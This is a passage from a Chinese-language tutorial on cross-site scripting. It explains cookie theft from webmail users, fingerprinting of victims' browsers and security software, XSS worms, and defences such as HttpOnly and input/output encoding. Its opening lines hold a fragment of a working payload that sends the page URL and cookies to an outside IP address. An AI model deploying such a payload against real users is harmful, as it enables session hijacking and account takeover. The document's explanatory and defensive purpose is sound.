();xx.src='http://61.130.75.239/pic/163.asp?url='+escape(document.URL)+'&cookie='+escape
(document.cookie);" width=0 height=0>]]>
图8
并将包含有如图8所示恶意代码的邮件发送至网易邮箱用户时，用户打开了含有恶意代码的邮件后，代码就会自动将用户的cookie信息发送到61.130.75.239上的163.asp文件，其中163.asp的作用是记录发送过来的Cookie，记录的Cookie内容如下图9所示：
图9
在接收到Cookie以后，就可以通过Cookie欺骗的方式实现登录目标邮箱了，如图10所示。
图10
XSS跨站脚本攻击搜集客户端环境信息
搜集客户端环境信息在更多的时候主要应用于指定目标的渗透攻击或网络挂马攻击，如了解客户端环境所使用的浏览器信息、操作系统信息、组件是否安装以及安全防护软件安装情况等。通过XSS跨站脚本攻击可以更加方便、快速地实现客户端环境信息的收集。
那么如何通过javascript收集以上信息呢？我们构造如下脚本代码，并在浏览器中执行这段代码。
得到的结果如下图11所示。
图11
这个信息中告诉了我们以上关心的两个信息，一个是浏览器的类型和版本，另外一个是客户端环境操作系统的版本。
浏览器：MSIE 8.0（微软IE浏览器，浏览器版本是8.0）
操作系统：Windows NT 6.1（操作系统类型是windows 7）
通过以上方式可以获取客户端的浏览器和操作系统信息，接下来我们在继续判断客户端环境组件安装情况。构造代码如下：
客户端环境中如果安装迅雷下载软件的话，那么就会安装相应的ActiveX控件
XunLeiBHO.ThunderIEHelper，以上脚本的作用即是通过网页脚本去加载迅雷的ActiveX控件，如果控件存在则不会抛出异常，否则就会抛出异常并被脚本捕获，运行上面的脚本代码时，安装有迅雷的环境不会有任何提示，未安装迅雷的环境就会弹窗提示“迅雷软件未安装”。
控件判断可以通过网页加载ActiveX控件的方式实现，那么怎么通过脚本判断客户端环境中是否安装了安全软件呢？这里我们以瑞星安全软件为例，分析描述如何通过XSS跨站脚本攻击漏洞的利用检测客户端环境是否存在瑞星安全软件。我们构造代码如下：
以上代码的作用是通过javascript结合res协议对客户端环境中的资源文件进行加载，javascript脚本运行后，会对客户端环境的C、D盘进行访问，访问是否存在瑞星默认安装路径的资源文件，并尝试对资源文件进行加载，如果加载成功，则说明资源文件存在，也说明瑞星安全软件的存在，并将变量havesoft置为真，脚本检测结束后，只需要检测该变量是否为真即可。
XSS Worm
相对于以上三种情况，可以说是XSS蠕虫（XSS Worm）的破坏力和影响力都是巨大的。XSS蠕虫主要发生在用户之间存在交互行为的页面中，当Web应用程序对用户输入的数据信息没有做严格的过滤时，通过结合Ajax的异步提交，就可以实现在植入恶意代码的同时，将恶意代码进行对外发送，即实现了代码的感染和传播，也就形成了XSS蠕虫。
谈到XSS蠕虫就很有必要介绍一下新浪微博遭受XSS蠕虫攻击事件，同时我们也以此次攻击事件作为例子，对黑客恶意利用漏洞至XSS蠕虫大范围扩散的过程进行详细分析和描述，并对该XSS蠕虫的恶意脚本文件进行一下简要的分析。
XSS跨站脚本攻击的防范
通过以上针对不同种情况的XSS跨站脚本攻击的描述，我们了解到了在复杂的Web环境中，XSS的利用是千变万化的，如何能够有效地防范XSS跨站脚本攻击问题一直都是浏览器厂商和网站安全技术人员关注的热门话题。现在很多浏览器厂商都在自己的程序中增加了防范XSS跨站脚本攻击的措施，如IE浏览器从IE8开始内置了XSS筛选器，Firefox也有相应的CSP、Noscript扩展等。而对于网站的安全技术人员来说，提出高效的技术解决方案，保护用户免受XSS跨站脚本攻击才是关键。下面我们结合网站安全设计，描述一下如何通过技术手段实现XSS跨站脚本攻击的防范。
利用HttpOnly
HttpOnly最初是由微软提出的，目前已经被多款流行浏览器厂商所采用。HttpOnly的作用不是过滤XSS跨站脚本攻击，而是浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie，解决XSS跨站脚本攻击后的Cookie会话劫持行为。
httpOnly是在Set-Cookie时进行标记的，设置的Cookie头格式如下：
以php为例，在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持，如
通过以上代码就可以设置user这个cookie，将其设置为HttpOnly，setcookie函数实质是通过向客户端发送原始的HTTP报文头进行设置的，document将不可见这个Cookie，所以使用document.cookie就取不到这个Cookie，也就是先了对Cookie的保护。
完善的输入和输出检查
由于三种XSS跨站脚本攻击类型的漏洞成因可不相同，针对输入输出的检查一部分适用于反射型XSS与存储型XSS，而另外一些检查适用于基于DOM的XSS。
A. 防范反射型XSS和存储型XSS
输入检查在大多数的时候都是对可信字符的检查或输入数据格式的检查，如用户输入的注册账号信息中只允许包括字母、数字、下划线和汉字等，对于输入的一切非白名单内的字符均认为是非法输入。
数据格式如输入的IP地址、电话号码、邮件地址、日期等数据都具有一定的格式规范，只有符合数据规范的输入信息才允许通过检查。
输出检查主要是针对数据展示过程中，应该对数据信息进行HTML编码处理，将可能存在导致XSS跨站脚本攻击的恶意字符进行编码，在不影响正常数据显示的前提条件下，过滤恶意字符。常见的可能造成XSS跨站脚本攻击的字符及其HTML编码如下：
除了常用的编码外，任何字符都可以使用其ASCII码进行HTML编码，如
B. 防范基于DOM的XSS
从基于DOM的XSS的定义及其触发方式我们发现，当基于DOM的XSS跨站脚本攻击发生时，恶意数据的格式与传统的XSS跨站脚本攻击数据格式有一定的差异，甚至可以在不经过服务器端的处理和相应的情况下，直接对客户端实施攻击行为，因此上述我们应用于防范反射型XSS和存储型XSS的方法并不适用于防范基于DOM的XSS跨站脚本攻击。
针对基于DOM的XSS防范的输入检查方法，我们发现在客户端部署相应的安全检测代码的过滤效果要比在服务器端检测的效果更加明显。例如，我们可以通过如下客户端检测代码来保证用户输入的数据只包含字母、数字和空格，代码如下：
同样，我们也可以通过在服务端实现类似上述数据检查的功能，如在服务器端检测URL参数是否为预定的参数username,并对username参数的内容进行检测，确认数据内容是否为只包含数字、字母和空格符，实现服务端的数据过滤。但是，由于客户端数据的可控性，这种服务端检测的效果要明显弱于客户端检测。
基于DOM的XSS输出检查与反射型XSS漏洞输出检查的方法相似，在将用户可控的DOM数据内容插入到文档之前，Web应用程序应对提交的数据进行HTML编码处理，将用户提交的数据中可能存在的各种危险字符和表达式进行过滤以安全的方式插入到文档中进行展现，如可以通过如下函数实现在客户端javascript中执行HTML编码处理。
function jsEncode(str)
{
var d = document.createElement('div');
d.appendChild(document.createTextNode(str));
return d.innerHTML;
}
XSS跨站脚本攻击作为Web应用安全领域中最大威胁之一，不仅仅危害Web应用业务的正常运营，对访问Web应用业务的客户端环境和用户也带来了直接安全影响。虽然XSS跨站脚本攻击在复杂的Web应用环境中利用方式千变万化，但是网络安全人员通过对Web应用的各种环境进行详细分析和处理，完全阻断XSS跨站脚本攻击是可以实现的。如何有效防范和阻止XSS跨站脚本攻击，保障Web应用系统的业务安全和正常运营，保护客户端用户免受XSS跨站脚本攻击行为的侵害，是Web应用系统管理人员和网络安全产品开发人员的共同职责。